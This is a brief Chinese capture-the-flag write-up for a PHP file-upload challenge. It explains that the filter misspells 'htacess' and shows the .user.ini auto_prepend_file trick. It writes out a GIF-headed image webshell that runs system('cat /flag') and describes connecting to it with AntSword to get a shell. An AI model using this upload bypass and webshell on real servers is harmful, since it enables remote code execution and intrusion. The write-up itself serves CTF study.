还是一道文件上传题目,过滤了后缀名、<?和文件头,phtml和php3之类的奇怪名字全部都过滤掉了,于是试着上传下.htaccess文件,没想到上传成功了,但是不知道为什么解析不了。
    直接去看题目源码
    过滤文件后缀:

    1. if (preg_match("/ph|htacess/i", $extension)) {
    2. die("illegal suffix!");
    3. }

    可以看到其实原本是想过滤.htaccess的,但是名字拼错了。。。
    接着看writeup,发现题目是想要让你利用.user.ini文件,.user.ini的利用方式基本上同.htaccess,并且它有两个可以利用的属性:

    1. auto_prepend_file
    2. auto_append_file

    这两句的意思就相当于在指定的文件头部或尾部添加上一句require(),那么如果我们先传一个图片马,再用.user.ini包含文件,就可以getshell了。

    首先构造.user.ini

    1. GIF89a
    2. auto_prepend_file=a.jpg

    然后构造图片马

    1. GIF89a
    2. <script language='php'>system('cat /flag');</script>

    当我们都上传上去之后,会发现上传目录下面还有一个index.php,这就很明显是要你利用这个
    image.png
    直接蚁剑连接uploads目录下的index.php就可以getshell。